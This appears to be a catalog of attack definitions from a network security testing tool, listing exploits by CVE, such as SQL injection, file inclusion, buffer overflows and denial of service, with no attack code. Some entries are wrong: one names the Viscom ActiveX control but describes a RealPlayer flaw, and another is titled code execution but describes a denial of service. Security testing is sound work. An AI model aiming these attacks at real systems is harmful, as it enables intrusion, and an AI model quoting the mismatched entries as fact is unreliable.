Threat File Name:	FSC20080930-27_Autodesk_Multiple_Products_LiveUpdate_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Autodesk Multiple Products LiveUpdate ActiveX Control Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Autodesk LiveUpdate ActiveX Control shipped with multiple products. The vulnerability is due to lack of sanitation while handling parameters passed to the ApplyPatch method. A remote attacker could exploit the vulnerability by enticing the target user to open a malicious HTML document. Successful exploitation would cause arbitrary command execution in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	firefoxScroll.xml
Executive Description:	Firefox XUL Drag and Drop Security Bypass
Detailed Description:	This threat sends a malicious webpage designed to bypass Firefox's security restrictions on accessing local files. By using this attack, a user can access certain XUL scripts contained in extensions on the web browser. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0401
OSVDB:	15010
Threat Package:	Standard
Threat File Name:	pluggedout_sqli.xml
Executive Description:	PluggedOut Blog Index.PHP Multiple SQL Injection Vulnerabilities
Detailed Description:	This threat sends a crafted URL that an SQL query that is executed by the server. eFiction is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4054
OSVDB:	21480
Threat File Name:	FSC20100325-01_OpenSSL_TLS_Connection_Record_Handling_Denial_of_Service.xml
Executive Description:	OpenSSL TLS Connection Record Handling Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The flaw is due to an error in the ssl3_get_record() function when handling TLS connections. A remote attacker can exploit this vulnerability by crafting certain records in TLS packets. Successful exploitation would result in the termination of the affected service due to a read attempt at NULL, which leads to a Denial of Service condition.
Protocol Type:	TLS
CVEID:	CVE-2010-0740

Threat Package:	Standard
Threat File Name:	see-commerce_rfi_IPv6.xml
Executive Description:	See-Commerce Owimg.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the owimg.php function which allows a malicious user to include commands in the context of the vulnerable web server. See-Commerce is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070726-10_Microsoft_Windows_ShellExecute_and_IE7_URL_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows ShellExecute and IE7 URL Handling Code Execution (IPv6 Version)
Detailed Description:	A vulnerability has been reported in Microsoft Windows that could be exploited by remote attackers to compromise a vulnerable system. The issue exists in the interaction between ShellExecute and IE7 URLMon component when handling malformed URLs. Successful exploitation would allow the attacker to execute arbitrary command on the vulnerable client system within the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3896
Threat Package:	Standard
Threat File Name:	linuxBufferExp.xml
Executive Description:	Linux Buffer Exposure
Detailed Description:	This exploit exposes an issue in the ICMP request protocol which occurs when sending ICMP requests that are smaller than the minimum frame size to a user specified host. Ethernet packets must be 64 bytes in length and will be padded with zeros to ensure this. When the packet is smaller than the minimum size this will result in the packet being padded with information off of the host's buffer which may contain sensitive information. This information can be, but is not limited to, user passwords and login information, and recent user activities.
Protocol Type:	IP
CVEID:	CVE-2003-0001
OSVDB:	3873
Threat Package:	Standard
Threat File Name:	filecopaftp_list_bof.xml
Executive Description:	FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit
Detailed Description:	This threat exploits a flaw in FileCOPA FTP Server via the LIST command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf a malicious user. FileCOPA FTP Server is an FTP application that typical listens on TCP port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-3726
OSVDB:	27389
Threat Package:	Standard
Threat File Name:	wsftp.xml
Executive Description:	WS_FTP Denial of Service
Detailed Description:	This threat sends a CWD FTP command to a vulnerable FTP server, known to cause it to crash.
Protocol Type:	FTP
CVEID:	CVE-1999-0362
OSVDB:	937
Threat Package:	Standard
Threat File Name:	TSL20111123-08_Viscom_Software_Image_Viewer_ActiveX_TIFMergeMultiFiles_Buffer_Overflow.xml
Executive Description:	Viscom Software Image Viewer ActiveX TIFMergeMultiFiles Buffer Overflow
Detailed Description:	An integer underflow vulnerability exists in RealPlayer's handling of MPEG movies. The vulnerability is caused when the application subtracts one from a user controlled value that is then used as a loop iterator. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted MPEG file. Successful exploitation can lead to the injection and execution of arbitrary code in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20150916-06_GE_MDS_PulseNET_FileDownloadServlet_Directory_Traversal_IPv6.xml
Executive Description:	GE MDS PulseNET FileDownloadServlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in the GE MDS PulseNET products. The vulnerability is due to insufficient validation in FileDownloadServlet. By sending crafted HTTP requests that contains directory traversal characters, an unauthenticated remote attacker can exploit this vulnerability to read and then delete an arbitrary file on the system in the security context of SYSTEM. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-6459
Threat File Name:	NOOPtcpUNIX2_IPv6.xml
Executive Description:	TCP NOOP packet variant HP-UNIX 2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	mysql_commander_cmi_IPv6.xml
Executive Description:	MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. MySQL Commander is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1439
Threat Package:	Standard

Threat File Name:	esyndicat_news_sqli.xml
Executive Description:	eSyndiCat (news.php) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. eSyndiCat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	simpleblog_sql.xml
Executive Description:	8Pixel.net SimpleBlog ID Parameter Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. SimpleBlog an web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170421-01_Exponent_CMS_eaasController.php_api_Function_SQL_Injection_IPv6.xml
Executive Description:	Exponent CMS eaasController.php api Function SQL Injection (IPv6 Version)
Detailed Description:	A SQL injection vulnerability has been reported in Exponent CMS. The vulnerability is due to a lack of input validation on the apikey HTTP parameter by the api() function. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7991
Threat File Name:	TSL20150611-01_Apple_CUPS_cupsd_Privilege_Escalation.xml
Executive Description:	Apple CUPS cupsd Privilege Escalation
Detailed Description:	An elevation-of-privilege vulnerability has been reported in the Apple CUPS. The vulnerability is due to improper processing of print-job or create-job requests sent to cupsd. A remote, unauthenticated attacker can send a specially crafted localized strings to cause the 'admin/conf' and 'admin' access control lists to fail. Successful exploitation could lead to elevation of privileges on the affected system, giving the attacker the ability to execute arbitrary code with root privileges. Tester should set the variable \$destPort to 631 before test.
Protocol Type:	IPP
CVEID:	CVE-2015-1158
Threat File Name:	sipsalarresptoolarge_IPv6.xml
Executive Description:	SIPPING: Response Scalar Values Too Large (IPv6 Version)
Detailed Description:	This threat sends out a SIP 503 status message with the scalar values greater than the maximum allowed for that field. This is illegal and should just be dropped. Because it is unexpected, it may also confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20150210-09_Microsoft_Windows_TrueType_Font_File_Parsing_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows TrueType Font File Parsing Remote Code Execution IPv6 version.
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to the way Windows handles crafted TrueType fonts. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with kernel permissions.
Protocol Type:	HTTP/HTTPS, IPV6
CVEID:	CVE-2015-0059
OSVDB:	118179
Threat File Name:	TSL20140220-13_ESF_pfSense_webConfigurator_firewall_aliases_edit_php_Input_Validation_Error_IPv6.xml
Executive Description:	ESF pfSense webConfigurator firewall_aliases_edit.php Input Validation Error(IPv6 Version)
Detailed Description:	An input validation error vulnerability exists in Electric Sheep Fencing pfSense firewall. The vulnerability is due to insufficient validation of user supplied input when processing the addressN parameter in firewall_aliases_edit.php. A remote authenticated attacker could exploit this vulnerability by sending a malicious request using the vulnerable parameter to the firewall. Successful exploitation could lead to remote code execution under the security context of the root user.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	FSC20060323-15_RealNetworks_RealPlayer_SWF_Flash_File_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer SWF Flash File Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is specific to parsing malformed Macromedia Flash (SWF) files. An attacker can exploit this vulnerability to inject and execute arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0323
Threat Package:	Standard
Threat File Name:	pnews_rfi.xml
Executive Description:	PNews Global.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. pNews is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150402-04_Cisco_Prime_Data_Center_Network_Manager_Information_Disclosure_IPv6.xml
Executive Description:	Cisco Prime Data Center Network Manager Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability has been reported in Cisco Prime Data Center Network Manager. The vulnerability is due to an input validation error that allows the retrieval of arbitrary files from the server. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target server with System privileges.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2015-0666

Threat File Name:	firefox_mfsa2006-45.xml
Executive Description:	Mozilla Navigator Java Crash
Detailed Description:	This threat sends a malicious webpage designed to cause memory corruption in the mozilla application. By re-assigning a location to the Navigator object in firefox, when the java virtual machine is loaded it references that location and can either execute arbitrary code, or cause a crash. Malicious webpages typically come from servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3677
OSVDB:	27559
Threat Package:	Standard
Threat File Name:	malformedICMP.xml
Executive Description:	Malformed Random ICMP Packet
Detailed Description:	This threat sends multiple malformed ICMP packets.
Protocol Type:	ICMP
CVEID:	CVE-2004-1432
OSVDB:	8150
Threat Package:	Standard
Threat File Name:	barcodewiz2_activex_bof_IPv6.xml
Executive Description:	BarCodeWiz ActiveX Control 2.0 (BarcodeWiz.dll) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat downloads a malicious script which exploits a buffer overflow in BarCodeWiz's activex component through the "Verify" argument. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170613-28_Microsoft_Windows_PDF_Library_JPEG2000_Parsing_Out_of_Bounds_Write_IPv6.xml
Executive Description:	Microsoft Windows PDF Library JPEG2000 Parsing Out of Bounds Write (IPv6 Version)
Detailed Description:	An out-of-bounds write vulnerability has been reported in the JPEG2000 component of the PDF library in Microsoft Windows. The vulnerability is due to improper validation of embedded JPEG2000 streams. A remote attacker could exploit this vulnerability by enticing a victim user to open a webpage or a PDF file with specially crafted JPEG2000 image. Successful exploitation would allow the attacker to corrupt memory and potentially execute arbitrary code under the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-0291
Threat File Name:	netgear_xss2.xml
Executive Description:	Netgear URL Logging XSS
Detailed Description:	This threat sends a cross-site scripting attempt to a third party webpage. The netgear URL filter logging process then places this output unfiltered in its log webpage. This allows an attacker to execute arbitrary javascript with permissions of the administrator viewing the page. This threat targets a webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-0291
OSVDB:	13012
Threat Package:	Standard
Threat File Name:	FSC20090609-18_Microsoft_Office_Excel_Malformed_Object_Record_Parsing_Code_Execution.xml
Executive Description:	Microsoft Office Excel Malformed Object Record Parsing Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel products. The vulnerability is due to improper parsing of crafted OBJ records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0557
Threat Package:	Standard
Threat File Name:	FSC20090330-09_Sun_Java_Runtime_Environment_GIF_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Sun Java Runtime Environment GIF Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Sun Microsystems Inc.'s Java Runtime Environment (JRE). The flaw is due to a boundary error while processing a crafted GIF image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack may allow for arbitrary code injection and execution with privileges of the target user. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1098
Threat Package:	Standard
Threat File Name:	TSL20120117-05_IBM_SPSS_VsVIEW6_ocx_ActiveX_control_Code_Execution.xml
Executive Description:	IBM SPSS VsVIEW6.ocx ActiveX control Code Execution
Detailed Description:	A code execution vulnerability exists in the VsVIEW6.ocx ActiveX control, which is shipped as part of IBM SPSS SamplePower. The method SaveDoc() contains a flaw that could lead to injection and execution of arbitrary code. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website which can result in the execution of arbitrary code within the context of the target user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0189

Threat File Name:	wheatblog_rfi_IPv6.xml
Executive Description:	Wheatblog Session.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the session.php function which allows a malicious user to include commands in the context of the vulnerable web server. Wheatblog is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	barracuda_spamfirewall_rcmd.xml
Executive Description:	Barracuda Networks Spam Firewall Multiple Vulnerabilities
Detailed Description:	This threat exploits a vulnerability in some Barracuda Spam Firewalls that allow for remote command-execution via GET request to the HTTPS control interface. Barracuda Spam Firewall is a firewall and its control console is a web server and typically listens on port 443.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pnews_rfi_IPv6.xml
Executive Description:	PNews Global.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. pNews is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140303-01_Apache_Camel_XSLT_Component_Java_Code_Execution.xml
Executive Description:	Apache Camel XSLT Component Java Code Execution
Detailed Description:	A code execution vulnerability has been reported in Apache Camel. The vulnerability is due to an error in handling XSL stylesheets in the XSLT component. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted XML message to the vulnerable server. Successful exploitation could result in the execution of arbitrary Java code on the target system with the privileges of the server process
Protocol Type:	HTTP
CVEID:	CVE-2014-0003
OSVDB:	103917
Threat File Name:	internetExplorerFileDOS_IPv6.xml
Executive Description:	Internet Explorer File URL Denial of Service (IPv6 Version)
Detailed Description:	This attack causes Internet Explorer to crash by specifying a malformed drive letter to load. This attack normally comes from a malicious webserver. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	eXtremail_v4_login_bof_IPv6.xml
Executive Description:	eXtremail <= 2.1.1 (LOGIN) (v4) Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow in the eXtremail admin interface that results in execution of arbitrary code or denial of service via a long LOGIN command to the admin interface port (4501/tcp). (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	TSL20170216-04_OpenSSL_Encrypt-Then-Mac_Renegotiation_Denial_of_Service.xml
Executive Description:	OpenSSL Encrypt-Then-Mac Renegotiation Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. This vulnerability is due to improper handling of the Encrypt-Then-Mac extension during renegotiation. A remote attacker could exploit this vulnerability in an OpenSSL client or server application by sending crafted packets during renegotiation. Successful exploitation results in denial of service conditions on the affected service.
Protocol Type:	TLS, SSL, HTTPS, SMTP, SMTPS, SIPS
CVEID:	CVE-2017-3733
Threat File Name:	FSC20070515-18_Samba_NetDFS_RPC_netdfs_io_dfs_EnumInfo_d_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Samba NetDFS RPC netdfs_io_dfs_EnumInfo_d Handling Heap Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the NetDFS RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	MICROSOFT-DS/IPv6
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_star.xml
Executive Description:	Fuzz SMTP HELO verb with *
Detailed Description:	Fuzzes the SMTP HELO Parameter with * from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	sqwebmail_xss_IPv6.xml
Executive Description:	SqWebMail Attachment XSS (IPv6 Version)
Detailed Description:	This threat sends an email with a .jpg extension but with a MIME encoding of text/html. This causes the SqWebMail email application to execute the Javascript contained inside. This Javascript can be used to create a cross site scripting situation where the attacker can create and delete email without user intervention. SqWebMail is a web based email application. This threat targets the SMTP MTA portion of the email delivery, which is typically port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-1308
OSVDB:	18948
Threat Package:	Standard

Threat File Name:	FSC20071220-19_IBM_Lotus_Domino_Web_Access_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Domino Web Access ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in IBM Lotus Domino Web Access ActiveX control. The flaw is due to improper bound protection in the InstallBrowserHelperDll() method when processing user supplied argument. A remote attacker may persuade the target user to open a malicious web page to inject and execute arbitrary code on the vulnerable system, with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToPUT.xml
Executive Description:	Fuzz HTTP PUT appended by %n
Detailed Description:	Fuzzes the Method field appending by %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090113-25_Oracle_Database_Trigger_MDSYS.SDO_TOPO_DROP_FTBL_SQL_Injection_Vulnerability.xml
Executive Description:	Oracle Database Trigger MDSYS.SDO_TOPO_DROP_FTBL SQL Injection Vulnerability
Detailed Description:	An SQL injection vulnerability exists in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to trigger MDSYS.SDO_TOPO_DROP_FTBL. A remote attacker with valid user credentials may leverage this vulnerability to inject and execute arbitrary SQL code within the security context of the database system administrator. Exploitation of this vulnerability may result in privilege escalation allowing an attacker with limited privileges to execute statements with the privileges of the database system administrator. The exact behaviour of the target system is dependent on the intention of the attacker. It may be possible for an attacker to affect the target host beyond the confines of the database which would allow manipulation of the host system.
Protocol Type:	iSQL *Plus/TNS/TCP/SMB/CIFS
CVEID:	CVE-2008-3979
Threat Package:	Standard
Threat File Name:	ttlFirewalking.xml
Executive Description:	TTL Firewalking
Detailed Description:	This threat sends out a TCP packet destined for a service on a machine that is behind a firewall. Depending on the reply back, the user can use it to determine if a port is open or not without connecting to the target computer. This is determined by adjusting the Time To Live value in the IP portion of the packet. A TTL exceeded message coming back from the firewall indicates that the port is open and the packet was forwarded. A dropped packet, or no reply, indicates that the port is blocked. This technique can also be used to map out complicated networks behind a firewall.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	lupper_dl.xml
Executive Description:	Lupper Worm Binary Download
Detailed Description:	This threat downloads the malicious lupper worm binary file that then is executed to infect new hosts. This threat file contains a very large server side response file, which takes a while to load. Please wait a few Minutes after loading the threat. This threat connects to a webserver to download the malicious binary, which typically listens on port 80. This threat is a client side attack and uses the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120612-07_Microsoft_Multiple_Products_HTML_Sanitization_Cross-Site_Scripting.xml
Executive Description:	Microsoft Multiple Products HTML Sanitization Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in Microsoft Internet Explorer, Microsoft Lync and Microsoft Office Communicator. The flaw is due to the way that the SafeHTML feature sanitizes HTML. Remote attackers can exploit this vulnerability by enticing a target user to view a web page that uses this API. In a successful attack, a remote attacker can leverage this vulnerability to execute script code in the target user's web browser in the context of a trusted web page, or execute script code in the target user's instant messenger window.
Protocol Type:	HTTP,HTTPS,SIP
CVEID:	CVE-2012-1858
OSVDB:	82861
Threat File Name:	TSL20110526-04_Google_Chrome_Stale_Pointer_in_Floats_Rendering_Memory_Corruption.xml
Executive Description:	Google Chrome Stale Pointer in Floats Rendering Memory Corruption
Detailed Description:	A vulnerability has been identified in Google Chrome. This vulnerability is due to the use of a stale pointer in rendering floats. A remote attacker may exploit this vulnerability by enticing a target user to view a malicious web page. Successful exploitation of this vulnerability could result in the execution of arbitrary code in the security context of the user. An unsuccessful attack may result in abnormal termination of the software.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1804
Threat File Name:	photokorn_b_rfi_IPv6.xml
Executive Description:	Photokorn Ext_cats.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131105-01_Microsoft_Windows_and_Office_TIFF_Handling_GDI_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows and Office TIFF Handling GDI Memory Corruption(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the way Microsoft Windows, Office and Lync handle certain TIFF image files. When Microsoft's GDI+ library handles a crafted TIFF file it can corrupt memory. A remote attacker could exploit this vulnerability by enticing a user to open a crafted TIFF file, possibly embedded in another file such as Microsoft office document. Successful exploitation could result arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,MMS,POP3,RTSP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-3906

Threat File Name:	TSL20110722-15_Oracle_Secure_Backup_Administration_Server_validate_login_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration Server validate_login Command Injection(IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Oracle Secure Backup Administration server. The vulnerability is due to insufficient filtering of user supplied data to the login.php script used in the administration server. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	IPv6,HTTPS
CVEID:	CVE-2011-2261

Threat File Name:	TSL20170221-09_Aerospike_Database_Server_RW_Fabric_Message_Code_Execution_IPv6.xml
Executive Description:	Aerospike Database Server RW Fabric Message Code Execution (IPv6 Version)
Detailed Description:	A out-of-bounds array indexing vulnerability has been reported in Aerospike Database Server. The vulnerability is due to improper handling of a fabric message containing a request to write a record element with malicious type value. A remote attacker could exploit this vulnerability by sending a maliciously crafted fabric message to the vulnerable server. Successful exploitation of this vulnerability could lead to a NULL pointer dereference, causing denial-of-service.
Protocol Type:	Aerospike Database Fabric Protocol,IPv6
CVEID:	CVE-2016-9053

Threat File Name:	sophos_namelen_dos.xml
Executive Description:	Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability
Detailed Description:	
Protocol Type:	HTTP
CVEID:	CVE-2006-5647
Threat Package:	Standard

Threat File Name:	IMail_monitor.xml
Executive Description:	IMail Monitor Buffer Overflow
Detailed Description:	This threat sends a large payload to the IMail monitor, which typically listens on port 8181. Causes a buffer overflow which can be exploited, causing a compromise of the server.
Protocol Type:	HTTP
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard

Threat File Name:	TSL20111005-07_Mozilla_Products_SVGTextContentElement_getCharNumAtPosition_Use_After_Free_IPv6.xml
Executive Description:	Mozilla Products SVGTextContentElement.getCharNumAtPosition Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists Mozilla products Firefox, Seamonkey and Thunderbird. The vulnerability is due to improper handling of SVG text containers. The getCharNumAtPosition method does not account for the possibility of user defined getter methods in SVGPoint object supplied as its argument to modify or destroy the parent object, leading to a use-after-free condition. A remote attacker could exploit this vulnerability by enticing a user to open a webpage or email containing a specially crafted SVG file or other HTML/XML file embedding SVG data. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0084

Threat File Name:	TSL20111213-08_Microsoft_Publisher_Array_Indexing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Publisher Array Indexing Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office. The vulnerability is due to an index boundary error while parsing Microsoft Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Publisher file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2011-3410

Threat File Name:	IPv6zeroLength.xml
Executive Description:	Zero Length IPv6 Packet
Detailed Description:	This threat sends a zero length IPv6 packet. Given past problems with IPv4 implementations, it is highly likely that similar problems might reside in IPv6 implementations.
Protocol Type:	IPv6
Threat Package:	Standard

Threat File Name:	FSC20080205-02_Symantec_Backup_Exec_System_Recovery_Manager_Unauthorized_File_Upload_IPv6.xml
Executive Description:	Symantec Backup Exec System Recovery Manager Unauthorized File Upload (IPv6 Version)
Detailed Description:	A file upload vulnerability exists in the Symantec Backup Exec System Recovery Manager. The vulnerability is due to design weakness in the Tomcat service and can be exploited by remote attackers to upload arbitrary files into the system, potentially compromising the vulnerable system. (IPv6 Version)
Protocol Type:	PRISM-HTTP/IPv6
CVEID:	CVE-2008-0457
Threat Package:	Standard

Threat File Name:	TSL20160428-07_HPE_Data_Protector_EXEC_BAR_username_Buffer_Overflow_IPv6.xml
Executive Description:	HPE Data Protector EXEC_BAR username Buffer Overflow (IPv6 version)
Detailed Description:	A buffer overflow vulnerability has been found in the OmniInet.exe component of HPE Data Protector. This vulnerability is due to lack of boundary checks on the username field in EXEC_BAR requests. A remote, unauthenticated attacker could exploit this vulnerability by sending malformed requests to the HPE Data Protector OmniInet.exe service. Successful exploitation could lead to arbitrary code execution under the security context of SYSTEM.

Protocol Type:	TCP, IPv6
CVEID:	CVE-2016-2005
Threat File Name:	sipzeromf_IPv6.xml
Executive Description:	SIPPING: Zero Max Forwards (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with its Max-Forwards: header set to 0. This is legal but sometimes unexpected, and may cause unpredictable behavior in some SIP implementations. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	phpraid_cmi.xml
Executive Description:	phpRaid Remote File Inclusion
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	foxit_pdf_dos.xml
Executive Description:	Foxit Reader Malformed PDF File Denial of Service Vulnerability
Detailed Description:	This threat uses a malformed PDF file to cause a denial of service condition in the Foxit Reader pdf reader application. Foxit Reader is a client application and this threat delivers the malicious pdf via an emulated web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2186
Threat Package:	Standard
Threat File Name:	x86NOOPudp8.xml
Executive Description:	UDP x86 NOOP Variant 8
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	raccoon_malformedCookie_IPv6.xml
